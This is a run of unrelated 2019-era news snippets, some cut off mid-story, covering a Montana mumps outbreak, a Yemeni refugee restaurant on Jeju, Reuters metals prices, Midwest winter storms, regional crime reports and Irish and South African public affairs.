Gallatin City-County health staff are working to notify parents of other children who might be at risk for contracting mumps.

Health officials say the best protection against mumps is to get vaccinated, although the vaccine does not provide 100 percent immunity.

In rare cases, the viral illness can result in serious complications, such as encephalitis, meningitis, deafness or pancreatitis.

Read more from the release sent to parents:

This letter is to inform you that Gallatin City-County Health Department has identified two cases of mumps in students at Emily Dickinson Elementary School and a third case at Chief Joseph Middle School. The health department and the schools are investigating other possible cases.

The Gallatin City-County Health Department is following the Centers for Disease Control guidelines for mumps follow-up in schools. Health department staff is working closely with Bozeman schools staff to identify students who are most susceptible of contracting mumps in order to take infection control measures to limit spread of the disease.

It is important for parents to know that most students have significant protection against mumps through immunizations required by Montana state law and recommended by the U.S. Centers for Disease Control and Prevention. While mumps does have some serious but rare potential side effects, the risk of these outcomes is significantly reduced by the vaccine and infection control precautions being pursued by the health department and the schools.

Parents of children who may be most susceptible to mumps will be notified by staff from Gallatin City-County Health Department, who will provide information and health care guidance. In most cases, students who are most susceptible to mumps are those who have not been vaccinated against the disease.

Mumps is a viral illness which can cause swelling of the salivary glands along the neck, face or jaw, high fever, body aches and headaches. Less than 1% of mumps cases have serious complications such as encephalitis, meningitis, deafness or pancreatitis. There is no cure for mumps but supportive treatment such as temperature/fever control, fluids and rest will help.

If you think you or your child has symptoms consistent with mumps, please keep them home and call your healthcare provider even if your child has been vaccinated. While the vaccine is very effective, it does not provide 100% protection. Since there are other viruses that can cause swelling of the face or neck, it is important to get properly diagnosed. Testing for mumps will help manage the spread of this disease in our community.

The Gallatin City-County Health Department is working closely with the school staff to identify students in these schools who are not vaccinated against mumps. Two doses of mumps vaccine are required for attendance in Montana schools. Students and staff who have two doses of vaccine are considered protected.

The health department will be offering a walk-in immunization clinic from February 11th to February 14th from 9-11am and 1-4pm. The health department is located at 215 W. Mendenhall, Bozeman.

The health department and schools staff will be monitoring for additional cases, and may take additional actions to limit spread of the disease. These actions may include exclusion of students who have been exposed to the disease and who have religious or medical exemptions from the vaccine that protects against mumps. If excluded, students may be out of school for 25 days or more, depending on the course of the outbreak. If students receive one dose of the mumps vaccine they are not likely to be excluded from school due to reduced risk for infection, as outlined in CDC guidance.Metro Manila (CNN Philippines, February 13)  The opposition senatorial slate "Otso Diretso" flew to Naga City-- the bailiwick of Vice President Leni Robredo-- on Wednesday to make its pitch before the voters.

Fresh from their door-to-door campaign in Caloocan City on Monday, Magdalo Party-list Rep. Gary Alejano, reelectionist Senator Bam Aquino, human rights lawyer Chel Diokno, former Deputy Speaker Erin Tanada, former Solicitor General Florin Hilbay, former Bangsamoro Transition Commission member Samira Gutoc and election lawyer Romulo Macalintal arrived at the Naga Airport on Wednesday morning.

Former Interior Secretary Mar Roxas, however, missed the Otso Diretso day activities.

The team had breakfast at the house of detained Senator Leila de Lima in Iriga City. They also paid a courtesy call with Monsignor Nono Sanada of St. Anthony of Padua Parish Church later in the day.

A kickoff rally followed at Plaza Quezon in Naga City where Robredo joined the slate.Teen gets vaccinated despite parents' concerns: 'I was doing it for my safety and the safety of others'Bossier City man's family speaks after he was shot and killed trying to get into a homeSenate Intelligence Committee Chairman Richard Burr said "any goodwill" the committee may have had toward President Trump's former attorney Michael Cohen was gone after Cohen "stiffed" Congress by postponing a hearing.(WASHINGTON, D.C.) Missouri is one of seven states that will test new ways to fund highway and bridge projects.

The Missouri Department of Transportation will receive $1.7 million to explore new ways to pay for road and bridge projects through vehicle registration fees.

The state is proposing to change the way vehicle registration fees are determined. Registration fees are currently based on a vehicle's "taxable horsepower." However, because "taxable horsepower" is no longer calculated or published by vehicle manufacturers, the state wants to consider basing registration fees on a vehicle's miles per gallon.

The money is part of a $10.2 million Surface Transportation System Funding Alternatives grant from the Federal Highway Administration.Kendallville, IN (46755)

Today

Sunny to partly cloudy. High 83F. Winds SSW at 10 to 20 mph..

Tonight

Cloudy skies early, then off and on rain showers overnight. Thunder possible. Low 68F. Winds S at 10 to 15 mph. Chance of rain 40%.The Yemeni restaurant "Wardah" is in Jeju City on Jeju Island. Courtesy of the UNHCR Korea



By Ko Dong-hwan



Yemeni asylum seekers on Korea's Jeju Island recently began cooking their home-style dishes and serving diners at a new restaurant in the tourism hotspot's Jeju City.



"Wardah" is a joint venture between the Yemenis and a local restaurateur-musician, according to UNHCR Korea.



The eatery, named after Yemeni for "flower," has attracted a diverse range of visitors, including Koreans, tourists, foreign residents of the island and, of course, Yemeni migrants.



Kebabs, falafel, agdah chicken, hummus and other Middle Eastern foods made and served by chefs and waiters from the war-torn Arabic nation are on the menu.



"Eating the food cooked and served by the people makes me feel that I know Yemen better," says Kim Hee-yeol, who visited Friday evening. "I was moved by the waiter who tried to take the order in Korean using a translation app. They are really trying hard to adapt to the country."



Wardah is less than four kilometers from Jeju International Airport and was opened by Ha Min-kyung, who has befriended Yemeni refugees on the island. Her first sympathetic outreach was using her music studio to house some of the people whose financial hardship made them desperate to find a place to sleep.



She told the UNHCR the Yemenis thanked her "so earnestly for something that was so easy to do" that she felt almost ashamed.



"The studio was empty most of the time and all I had to do was to unlock it. How difficult is that?" said Ha, 38.



Seeing they weren't eating properly because of their religious obligation to eat halal foods that were rare on the resort island, she decided to open its first Yemeni restaurant. Her Yemeni and Korean friends supported setting up the establishment, which was named after the nickname given to her by the Yemenis.



"This is a taste of home," said Mohammed Ali, 37, a Yemeni asylum seeker and Wardah regular. Yemenis get a 50 percent discount at the restaurant. "Outside, I only ate vegetables because I wasn't sure if the chicken sold in the Korean shops was proper halal. I don't worry about that here."



American Nathan Dewan  who has lived on the island for four years  frequently dines at Wardah. He said the restaurant's food is "a great medium for sharing personalities and stories."



"It is wonderful to have this place for the bridging of cultural gaps," said Dewan, who teaches English at a local public school.



Wardah's Yemeni staff come from the 484 Yemenis who fled the civil war in their country and arrived on the island in June 2018 on a direct flight from Kuala Lumpur. By the end of that year, the island's immigration authority had granted two of them refugee status, gave temporary humanitarian status to 412 and rejected 56.



The so-called Yemeni crisis has displaced about 2.3 million within the country and put more than 20 million in need of humanitarian aid. Some 70,000 nationals have fled abroad in search of safety.



Sami Al-Baadni, a waiter at Wardah, said he and other refugees didn't come to Korea for money or for better jobs  which was claimed by anti-refugee protesters who clashed with opposing movements last year.



"We came because Korea is a safe country and because Korea was our only option," said the 23-year-old worker. "We cannot return now or even in the near future. If we return, we will die."



Mohammed Ameen Almaamari, a chef at the venue, said he wants peace in Yemen and a chance to go home in safety. He hoped Koreans see Yemenis as human beings "beneath the different race, culture and religion."

University asks mom to stop looking for dates for son on campusCopyright 2019 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Retired husband, father killed during 100-mile chase was returning from card game with friends

Gregory Price was coming back to Florissant when he encountered a suspect in a bi-state chase who took his lifeA pair of public health experts has called for Facebook to be more transparent in the way it screens posts for suicide risk and to follow certain ethical guidelines, including informed consent among users.* GRAPHIC-2019 asset returns: (Adds closing prices) By Zandi Shabalala LONDON, Feb 13 (Reuters) - Copper rose from a two-week low on Wednesday due to signs of an easing in tensions in the U.S.-China trade conflict, but a lack of a firm resolution kept a lid on the tepid gains. Three-month copper on the London Metal Exchange (LME) ended 0.3 percent higher at $6,125 per tonne, its first rise in five sessions. "There is an element of optimism but the market is a bit more wait-and-see and seems a bit exhausted," ETF Securities analyst Nitesh Shah said.

"If there is something more concrete from the trade talks - and not just moving timelines around, an actual agreement with a plan - then we might have something more firm from prices."

TRADE TALKS: U.S. Treasury Secretary Steven Mnuchin said talks with China went well on Wednesday, as the world's two largest economies try to iron out an agreement to resolve their trade dispute. On Tuesday, U.S. President Donald Trump said he could let the deadline for a trade agreement "slide for a little while". If a trade deal cannot be reached by the deadline of March 1, U.S. tariffs on $200 billion worth of Chinese imports are scheduled to increase to 25 percent from 10 percent. STOCKS: On-warrant stocks of copper available to the market in LME-registered warehouses were at 74,750 tonnes, close to a 2005 low touched in October. "Copper demand is sufficiently strong to support prices at these levels, slightly above $6,100, but it's not strong enough to push them further without any major broad-based metal-intensive stimulus in China," Julius Baer analyst Carsten Menke said. FLOODS HIT ZINC: Floods in Australia's Queensland state are set to disrupt the rail delivery of zinc exports to the northern port of Townsville, with the line likely to be out of action for at least a month, analysts said on Wednesday. Townsville port ships about 40 percent of Australia's zinc production, equal to about 700,000 tonnes a year or 5 percent of global supply. ZINC SPREADS: LME zinc stocks are at their lowest since January 2008, but cash zinc was trading at a discount of $6.25 a tonne to the three-month price , down from a premium of $125 in early December, in a sign of weaker immediate demand. TIN: LME tin added 0.8 percent to $21,100 per tonne, after touching its highest since April 2018.

The LME on Tuesday suspended the MSP tin brand, reinforcing worries about tight supplies on the LME market where stocks are close to record lows at 1,440 tonnes. OTHER METALS: Aluminium ended barely changed at $1,860 per tonne, zinc down 0.4 percent to $2,597. Lead was down 0.7 percent to $2,020, while nickel finished marginally softer at $12,405.

<^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Top Base and Precious Metals Analysis - GFMS ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^> (Additional reporting by Tom Daly; Editing by Dale Hudson and Jan Harvey)

zandi.shabalala.thomsonreuters.com@reuters.net))LME price overview COMEX copper futures Base metals news All metals news All commodities news Metals diary Foreign exchange rates SPEED GUIDES ))STOCKHOLM, Feb 13 (Reuters) - Swedish mining and smelting firm Boliden reported fourth-quarter core earnings ahead of market forecasts on Wednesday, but proposed a total shareholder payout below analyst expectations.

Operating profit, excluding revaluation of process inventory, fell to 2.00 billion Swedish crowns ($216 million) from 2.91 billion a year earlier, beating the 1.89 billion seen by analysts in a Reuters poll. The company proposed a total shareholder payout of 13 crowns per share, composed of an ordinary dividend of 8.75 crowns and an extra payment of 4.25 crowns through an automatic share redemption.

That compares with the mean analyst forecast for a total payout of 15.77 crowns per share, with expectations for an ordinary dividend of 8.31 crowns and an extra dividend of 7.46 crowns.

($1 = 9.2501 Swedish crowns)

(Reporting by Johannes Hellstrom, Editing by Helena Soderpalm) Messaging: johannes.hellstrom.reuters.com@reuters.net))

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.Gavin Jones

ROME (Reuters) - Italys ruling League party has drafted a law proposal which would eventually allow the government to sell the countrys gold reserves through a change to the constitution.

On Monday La Stampa newspaper said the government was considering using part of the reserves, which are held by the Bank of Italy, to rein in its budget deficit this year and avoid a planned VAT increase in 2020.

Officials in the majority denied any plan to sell the gold, but the draft seen by Reuters proposes an amendment to current legislation which would allow the sale of the reserves if it were authorised through a constitutional law.

Claudio Borghi, the Leagues economics spokesman, told Reuters the amendment, which has not yet been presented in parliament, was only a hypothesis.

Borghi has already tabled a bill intended to establish that the gold is the property of the state, rather than of the Bank of Italy, a point which is disputed in Italy.

The proposal for a constitutional law was aimed at reassuring people that the government had no plans to sell the reserves to fix its current public finance difficulties, Borghi said.

A constitutional law requires a lengthy legislative process, a large parliamentary majority, and in some cases a referendum.

Borghi said that alternatively, his party may present a law spelling out that a 2/3 parliamentary majority was required to sell the gold, or even that it could not be sold under any circumstances.

Italy is the worlds third-largest holder of gold reserves, behind the United States and Germany, with 2,451.8 tonnes as of last year, according to the World Gold Council.MILWAUKEE (AP)  Unrelenting winter weather again made travel difficult in the Upper Midwest Tuesday, causing highway spinouts, hundreds of school closings and some grounded flights. At least two deaths were linked to the frigid, snowy weather.

The latest winter storm was stressing already weary plow drivers who worked to keep up with the accumulating snow. Up to a foot of new snow was expected in Wisconsin, where a winter storm warning was posted for most of the state.

Schools across the state canceled classes, including the districts of Milwaukee, La Crosse, Wausau, Madison and Waukesha. For some districts, it was the fifth day in two weeks that classes were canceled because of the snow or dangerously cold temperatures.

The snow grounded at least 10 flights Tuesday morning at Dane County Regional Airport.

In Sioux Falls, South Dakotas, a man found dead under a downtown bridge may have died from the frigid weather, police said. The man was discovered just before 7 a.m. Tuesday, police spokesman Officer Sam Clemens said. The National Weather Service says the temperature in Sioux Falls was 12 degrees (minus 11 Celsius) around the time the man was found.

In Milwaukee, the Milwaukee County Medical Examiner's Office said a 62-year-old man collapsed and died while shoveling snow Tuesday.

The National Weather Service says wind gusts of up to 30 mph reduced visibility and created dangerous travel conditions for motorist who decided to venture out.

In North Dakota, 16 head of cattle were killed when a semi driver hauling the livestock was blinded by blowing snow from a passing truck, hit an embankment and rolled over Monday afternoon. The Highway Patrol says the driver suffered minor injuries. About five dozen head of cattle survived the crash.

The Minnesota State Patrol was dealing with numerous crashes and spinout around the state. Patrol Sgt. Jesse Grabow three children were in a minivan that rollover on Interstate 94 near Rothsay Tuesday. Grabow says the children were properly restrained and were not hurt.

A winter storm warning was also posted for southeastern Minnesota until midnight. Rochester schools were among districts that canceled classes Tuesday. St. Paul public schools canceled most after-school activities. Both Minneapolis and St. Paul declared snow emergencies beginning at 9 p.m., triggering parking restrictions.ROCHESTER, Minn.  A single-vehicle accident on Highway 63 injures two people Wednesday.

It happened near mile marker 34 in Rochester just before 5 am. The Minnesota State Patrol says Macario Poblano Hernandez, 36 of Brooklyn Park, was driving south when he lost control, went into the median, and turned his SUV onto its side.

Hernandez and a passenger, Jovita Calderon, 34 of Brooklyn Park, suffered non-life threatening injuries are were taken to St. Marys Hospital. The State Patrol says both were wearing their seat belts.

Rochester fire, police, and Gold Cross Ambulance assisted at the scene.DES MOINES, Iowa  The Iowa Department of Public Safety says a tow ban is in effect for Mitchell, Floyd, Howard, and Chickasaw counties.

That means law enforcement has determined conditions are too dangerous to provide towing or roadside services on public roads. While this tow ban is in effect, stuck or stalled vehicles cannot be towed until conditions improve and the ban is lifted.

The Worth County Sheriff's Office also said I-35 was shut down north of the Highway 9 exit, but it reopened Tuesday evening. In addition, the Mower County Sheriff's Office is requesting no one travel in the county Tuesday night. The Sheriff's Office says roads are turing into glare ice with near white out conditions in many places.

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WEATHER APP: iOS | AndroidCRESCO, Iowa  A Minnesota man pleading not guilty to stealing tools in Mitchell County is sentenced for stealing tools in Howard County.

Kenneth Ray Nightingale, 36 of LeRoy, MN, was accused of stealing two tool sets and a heater from a shed in the 3000 block of Elm Avenue in February 2018 and stealing a socket set, a mountain bike, a battery charger, an impact drill, an impact driver, a chainsaw, a socket set, a trim nailer, an orbital sander, an air compressor and two batteries from a shed in the 13000 block of Douglas Avenue in January and February of 2018.

Nightingale pleaded guilty to two counts of 3rd degree burglary and has been sentenced to two to five years of supervised probation.

Nightingale is also charged with 3rd degree burglary and 2nd degree theft in Mitchell County for taking $8,000 worth of tools from a locked trailer in Riceville in December 2017. No trial date has been set in that case.DODGE COUNTY, Minn. - A Minnesota State Patrol trooper suffered minor injuries when his squad car that had its emergency lights activated was hit Tuesday.

State Patrol said Kurt Knutsen, of Rochester, suffered non-life threatening injuries while inside his Ford Explorer as he was assisting another vehicle on the shoulder of Highway 14 in Dodge County at around 8:32 p.m.

A Buick, driven by 30-year-old Isaac Olson, of Dodge Center, was traveling westbound when it lost control and struck the troopers vehicle, according to the MSP incident report. Olson was transported to St. Marys Hospital with non-life threatening injuries. Knutsen was not hospitalized.

The accident happened at Highway 14 and mile marker 199 in Dodge County.ROCHESTER, Minn. - A man with a felony drug warrant had to be Tased in order to be taken into police custody.

Rochester police said at 7:47 p.m. Tuesday, authorities went to 1618 Marion Rd. SE after learning Corey Nevels, 31, was at the residence.

Police say when they knocked on the door, a woman answered and Nevels went to a back bedroom.

After being located, police said Nevels was allowed to finish a cigarette before they tried to put him under arrest.

Nevels, however, tried to pull away and ended up being Tased in a hallway area before he was taken to jail.

He is facing an obstruction charge in addition to the felony drug warrant.MASON CITY, Iowa  A North Iowa man accused of a violent burglary is pleading not guilty.

Michael Anthony Creviston, 34 of Mason City, is facing one count of 1st degree burglary. His trial is set to begin on March 26.

Hes accused of entering an apartment in the 1300 block of 1st Street NW in Mason City on January 21, hitting someone, smashing a lamp, and using a handheld stun gun in a threatening manner. Police say the victim suffered a visible injury from the assault.FERTILE, Iowa - A man already accused of a number of crimes throughout northern and northeast Iowa is now accused of robbing a location in Fertile.

Jonathan Martin, of Waterloo, was charged this week in Worth County with first-degree burglary, two counts of first-degree theft, second-degree theft, a felon in possession of a firearm and third-degree criminal mischief dating back to a Nov. 23 incident.

The Worth County Sheriffs Office said it received a report of a robbery on the 100 block of W. Main St. in Fertile at about 1:20 a.m. on Nov. 23.

A deputy arrived to find the glass broken out of the front door, and the owners of the property were present at the time of the break-in.

Martin is already in custody and is awaiting transport to Worth County on these charges.

Martin has already been charged with the following crimes around the area: The Ventura Mart burglary, Martin is also charged with 3rd degree burglary and three counts of attempted burglary in Butler County. Hes also facing charges of 3rd degree burglary and attempted 3rd degree burglary for three incidents on December 16 where someone broke into the Town Mart in Rudd and tried to break into the Yesway in Rockford and Dugans Restaurant in Floyd. He's also accused of burglaries in Ionia and Lawler.GARNER, Iowa  A Hancock County man is facing drug charges after a traffic stop.

Mark Andrew Greiman, 57 of Garner, was pulled over on 235th Street on November 6, 2018. Law enforcement says a K9 unit indicated the presence of drugs in Greimans vehicle and a search found more than 17 grams of methamphetamine.

Greiman was charged Monday with a controlled substance violation and failure to use a drug tax stamp. He was freed Tuesday on $30,000 cash bond.ROCHESTER, Minn.  A man arrested after police said they found a meth lab is now pleading guilty.

Douglas Ray Howard, 55 of Rochester, was charged with 5th degree drug possession after the December 11, 2018, search of a house in the 3500 block of 21st Avenue NW in Rochester. Police say drug paraphernalia and 80 grams of methamphetamine were found.

Howards sentencing is scheduled for March 25.

He was one of seven people arrested. Of the others:

Tony Earl Tri, 41 of Rochester  Set to stand trial July 22 for 1st degree sale and 1st degree possession of drugs.

Jessica Ann Kuhlmann, 39 of Rochester Trial scheduled for June 24 for 5th degree drug possession and possession of hypodermic syringes.

David Patrick Fournier, 51 of Owatonna  Due to stand trial March 18 for 5th degree drug possession and possession of hypodermic syringes.

Robert Sonnenberg, Anne Jessen-Ford, and Jessica Kuhlmann have not entered pleads to 5th degree drug possession and other charges.Umbrellas in the rain, hot soup and sandwiches, even a quiet prayer and a handshake - support for the striking nurses and midwives in Kilkenny came from every corner of the community.



The INMO (Irish Nurses and Midwives Organisation) suspended their strike action late on Monday evening but have expressed thanks to all who showed support during the four previous days of industrial action.



There were to have been pickets on Tuesday, Wednesday and Thursday of this week by INMO members at medical facilities across the Kilkenny-Carlow region: at St Lukes General Hospital, Kilcreene hospital, Community Care offices, St Columbas hospital in Thomastown, Castlecomer District Hospital, St Patricks Centre on the Kells Road in Kilkenny, Carlow District Hospital and the Sacred Heart hospital in Carlow.



However all outpatient clinics went ahead following intervention in the dispute by the Labour Court on Monday.

The HSE said that all outpatient clinics at facilities across the country will go ahead this week as scheduled.



Kilcreene Orthopaedic Hospital and St Lukes General Hospital ask all patients with appointments to turn up as normal.

St Lukes is making every effort to reschedule outpatients appointments and cancelled elective surgical day cases within the next few days. Priority will be given to urgent outpatient appointments to ensure that they are facilitated.



All services were resuming on Tuesday, including emergency services, however the HSE warned there may be some delays in the coming days until everything returns to normal.

Patients with surgery scheduled at Kilcreene will be contacted in person by the hospital.

If patients for these two hospitals have any queries they are urged to contact the hospitals on 056-7785000.



In advance of this weeks strike action the local INMO strike committee met again with regional HSE management, at the Lacken HSE offices in Kilkenny, to review and address issues or concerns and discuss contingency planning for the non-acute services during the strike.



Liz Curran, INMO representative, said the support for the nurses and midwives on the picket lines was heartening. Last week in the pouring rain people were driving past and giving out umbrellas to the people on the pickets. She thanked everyone for their support include Sycamore Stores, near St Lukes and the hospital management itself, who have provided the INMO members with free soup, sandwiches, fruit and tea and coffee. Other cafes have given vouchers, members of the public have arrived with tins of biscuits and chocolates. People have walked up to the nurses to shake their hands and even say a little prayer for them.

The smallest demonstration means so much, Ms Curran said.The well respected and much loved Duiske Players Drama Group, Graignamanagh are in rehearsals for this years production which will be held from Wednesday to Saturday, March 27 to 30, under the capable direction of Helen Kavanagh.

Helen last directed many of the groups plays over the years including Arsenic & Old Lace, The Cripple of Inishmaan, Sive, The Highest House on the Mountain and The Field.

In the last number of years the group, have performed many very popular plays including last years highly successful interpretation of the American classic, Arsenic & Old Lace.

This year the group decided to tackle a John B. Keane classic, timely given the Druid Theatre Company revival of many of Keanes works, one of Irelands great playwrights.

And so the journey for the folk play, Sharons Grave began.

Keanes play is about the struggle between the forces of good and evil and the mythical beliefs of 1930s rural Ireland dealing with a mans ruthless lust for land, which overrides all family loyalties, and can ultimately lead to tragedy, and indeed turn life into bedlam.

As often in Keanes plays, the characters are exaggerated and extreme, yet without parody.

Dinzie Conlee (played by Edward Hayden) has a hunchback and his legs are enfeebled.

His mind is sharp and vicious and most everybody fears him, including his hulking brother Jack (John Meaney) who carries him everywhere, and his cousin Trassie (Edel Bolger), who is left to look after the family home and Neelus (Jim Whelan) her crack-brained brother when their father (Jim Kielthy) passes away.

Into this little community arrives Peader Minogue (Pat Kavanagh), a traveling thatcher in search of work.

When Trassies honesty and hospitality warm his heart, he becomes protective of her and Neelus, and proclaims that he will let no harm come to her or her brother, whether from Dinzie or anyone else...including the mystical arrival of the local quack Pats Bo Bwee (Peter Prendergast).

The play delves deep into a rural Ireland steeped in Celtic pagan tradition that features some wonderful roles and the cast will certainly not disappoint with many of the much loved faces of drama in the area as well as some new faces in the production including Brid Moloney, Lily Brennan, Stas Bolger, Anna Galavan, Maura Gahan, Liz Whelan and Emma Fox.

Director Helen Kavanagh is delighted to work with such a large cast to deliver what she believes will be a superb show with a stellar cast. Group Chairperson Lily Brennan added; we are confident that all those who attend will be entertained and enthralled, further exemplifying the return and popularity of live drama and performance in both urban and rural Ireland.Weather Alert

...EXCESSIVE HEAT WATCH REMAINS IN EFFECT FROM FRIDAY AFTERNOON THROUGH WEDNESDAY EVENING... * WHAT...Dangerously hot conditions will develop in central Washington on Friday and build into eastern Washington and north Idaho over the weekend. * WHERE...Wenatchee, Leavenworth, Winthrop, Omak, Grand Coulee, Moses Lake, Ritzville, Pullman, Moscow, Spokane, Couer d'Alene, Deer Park, and Colville. * WHEN...From Friday through Wednesday, and possibly through the end of next week. * IMPACTS...Unprecedented triple digit heat and unusually warm overnight temperatures will make it difficult to control the build up of heat in homes without air conditioning. * ADDITIONAL DETAILS...This event will likely be one of the most extreme and prolonged heat waves in the recorded history of the Inland Northwest. Unprecedented heat will not only threaten the health of residents in the Inland Northwest but will make our region increasingly vulnerable to wildfires and intensify the impacts our ongoing drought. PRECAUTIONARY/PREPAREDNESS ACTIONS... Monitor the latest forecasts and warnings for updates on this situation. Be prepared to drink plenty of fluids, stay in an air- conditioned room, stay out of the sun, and check up on relatives and neighbors. &&South Africa: Working together to address student concerns

Higher Education Minister Naledi Pandor says contrary to misleading reports, her meeting with the South African Union of Students (SAUS) was fruitful and that there are engagements to find solutions to challenges that are faced by students.

Pandor said this when she participated in a debate on the State of the Nation Address in the National Assembly on Tuesday.

This comes after SAUS called for a shutdown of the countrys universities last week until financial assistance concerns, among others, were addressed.

This included calls by the union for historic debt to be wiped, for adequate student accommodation and for the facilitation of more students at universities, among others.

I cannot argue against the justified correctness of issues they have raised, but it is imperative that we do not allow any person to hijack legitimate protest for political mischief.

I am pleased that students and management are talking and working together to address the obstacles confronted by students. We can always find solutions.

Contrary to misleading reports, the Saturday meeting with SAUS was very constructive. There are issues we still need to solve, but there are also areas in which much progress is being made, she said.

Prior to this, Pandor used the first few lines of her debate to express her deepest condolences to the family of Durban University of Technology student Mlungisi Madonsela, who was fatally shot during a protest.

I urge all higher education institutions to make every effort available to find solutions to ongoing concerns. I will do all that is possible to assist, she said.

Pandor said, meanwhile, that she has directed the NSFAS Administrator Dr Randall Carolissen to prioritise all outstanding appeals and assessments.

She said for the first time ever, student registration and NSFAS eligibility is working in tandem, and many students have already received allowances.

This is truly historic, given the delays in paying allowances in the past, and the extreme delays and problems of the last two years in particular.

She said improvements were also evident at technical vocational education and training (TVET) colleges.

Pandor also said that placing NSFAS under administration was a positive move and while there are many challenges remaining, NSFAS is on the right track.

Prior to the December 2017 announcement on free education for poor and working class students, funding of the system had not kept up with enrolments, university fees had become increasingly unaffordable, especially at the large urban universities that have high costs.

Insufficient funding to support all NSFAS students under the previous rules resulted in a capping of the awards. NSFAS students at high cost universities were not fully funded at the actual cost of study at their institutions, and were often unable to pay for food and accommodation.

That situation has now changed with our new full cost of subsidy NSFAS bursary, a scheme of targeted free education for the poor and working class.

The recent appointment of an administrator at NSFAS has vastly improved the performance of this important institution, she said.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.EUGENE, Ore. -- Alton Baker Park goes to the dogs on Sunday, May 19, when over 1,000 dogs and their people will leash up for a 10K, 5K, or 2K run/walk in the park to raise money for the Greenhill Humane Society.

The event will have the run and the walk, canine activities, vendor booths, demonstrations and more.

Greenhill hopes to raise $120,000 to help care for and find homes for approximately 3,000 pets in 2019. The event is one of the humane society's biggest fundraisers of the year.

Preregistration until Feb. 28 is $25 and includes a doggie bandana or $40 with a doggie bandana and a tech-tee shirt. After Feb. 28, registration goes up to $30/$45. Day-of Registration is $35 with a bandana or $50 with a bandana and tech-tee shirt (while supplies last). Children ages 12 and under are free.

To find out how to register, click here.LEBANON, Ore. -- The man accused of killing two people in Lebanon remains in custody in San Diego, and new details in the case are coming to light.

Brenton Richmond was arrested near the Mexican border Sunday in connection to the murders. He faces two counts of aggravated murder after Tammy Hopper and Erik Jacobs were found dead by police on Saturday.

RELATED: Lebanon man arrested near Mexico border in connection to double homicide

According to court documents obtained by the Albany-Democrat Herald, the same day police discovered the murders, Richmond allegedly came to the Eugene Airport for a flight to San Francisco.

Based on those documents, before he left, he threw his drivers license in an airport trash can, and when it was found, it tipped officials off.

Additionally, those documents said Richmond was detained when he presented his passport to customs officers as he was entering Mexico on foot.

It is unclear when Richmond will return to Oregon to face charges or when he will potentially be arraigned.EUGENE, Ore. -- A Eugene man who threatened to shoot up St. Mary Catholic Church last year pleaded guilty to a federal hate crime and illegal possession of ammunition on Tuesday, U.S. Attorney Billy J. Williams said.

Police arrested Benjamin Jaramillo Hernandez, 69, on Sept. 21, 2018, after a series of threatening and violent actions targeting the church.

Hate crime laws protect fundamental American values including the free expression of religion, Williams said.

RELATED: Man arrested after threatening St. Mary Catholic Church

According to court documents, Hernandez was escorted from church property on Sept. 9 after an angry outburst during communion.

Then on Sept. 14, a church employee reported to police that someone had used pepper spray on door handles at the church and had sprayed it through the mail slot. They said they experienced burning sensations in their fingers and respiratory distress.

A Eugene police officer and an FBI agent identified Hernandez as the person responsible using surveillance footage.

Williams said on Sept. 16, Hernandez shouted at a witness across the street from the church, Ive got something for you right here, and pointed to a bag he was carrying.

The day before his arrest, St. Mary employees reported finding a threatening note and seven bullets in the church office. A police officer reviewed surveillance footage and identified Hernandez as the person who left the items.

Hernandez will be sentenced on May 22.Washington allegedly texted the video to her in March last year, in response to a message she had sent congratulating him on signing with Nebraska. His attorney has said that Washington, now 18, did not record or participate in the alleged incident.

Hunt said she knows people in Nebraska who have been affected by similar actions, which can cost them job opportunities, get them fired, open them up to stalking or harassment, and destroy relationships. Typically, she said, the perpetrators are vengeful ex-partners or opportunistic hackers. The photos may be real or altered.

Its wrong. Its a form of abuse and its increasingly prevalent, she said.

Under LB 164, violation of the law would be a Class I misdemeanor, punishable by up to one year in prison and a $1,000 fine, for the first offense. A second or subsequent offense would be a Class IV felony, punishable by up to two years in prison and a $10,000 fine. People convicted under the law would have to register as sex offenders.

The law could be used to bring charges against someone outside the state who targets a Nebraska resident, as well as a Nebraska resident who targets someone outside the state.Fridays will allow us to get some more common sense knowledge, not just the book smarts, she said. I think it will help us our junior year study for the state test.

While she looks forward to the new school week and learning activities, Clement said the longer school day means she will get home later.

A con is extending the school day, especially for people who ride the bus, she said. I know I dont get in town until 4 p.m. already, so now its going to be later.

The school board and Banner County Superintendent Evelyn Browne finalized the four-day week proposal during the boards annual retreat in January. At the retreat, Browne proposed that Friday be an optional attendance day with enrichment activities.

Like Good Time, Genius Hour, or Passion Projects, with the fifth day, students can explore, create and collaborate, said Browne. The possibilities are giving us all goosebumps.

Browne added that the Friday enrichment will enable teachers to take students on field trips, build computers, use 3D printers, and learn about robotics during longer sessions than a typical school day. Teachers are encouraged to teach their passions to provide students a wide range of Friday enrichment options. The district is currently compiling ideas.Buffalo County Deputy Attorney Andy Hoffmeister told the board there could be problems with public safety if all roads arent maintained. He said he has received calls from people who said they drive through subdivisions to get to county roads.

The roads will either be maintained or they wont be. Then you have the problem of degrading neighborhoods and the roads just dont look so good, Hoffmeister said.

But, in the end, Hoffmeister said its the county boards decision.

This ones your pleasure, he said.

To again avoid heavy traffic on county roads, the board discussed amending the lot size in the countys jurisdiction from three acres to five acres.

After the meeting, board Chairman Bill McMullen of Kearney said the idea is to reduce the population in the outlying county areas, which then would lessen the stress on rural roads.

During the meeting, Hoffmeister said he didnt feel comfortable with the way the amendment was proposed. The board decided not to take action at this time on the issue.

When asked where the board wants people to live in a county with a growing population, McMullen said, Thats why we didnt act on it. Were thinking about it.Posh Shoppe owner Erin Bass says she tried more traditional forms of advertising three years ago when she opened the business. However, they just didnt show the same value.

Weve tried some traditional marketing; we did a radio ad, we did some advertising on the back of receipts ... Those are fairly expensive, she said.

However, for $5, Bass says she can reach anywhere from a couple hundred to a thousand people on Facebook.

Plus, thats a simple process, as opposed to the steps required to create, for example, a billboard ad, which requires hiring a graphic designer, planning the perfect message, and generally more work to ensure money effectively is spent.

Many local businesses also are seeing that their customers now are coming from more than just the Kearney area, thanks to the expanded reach they have on social media.

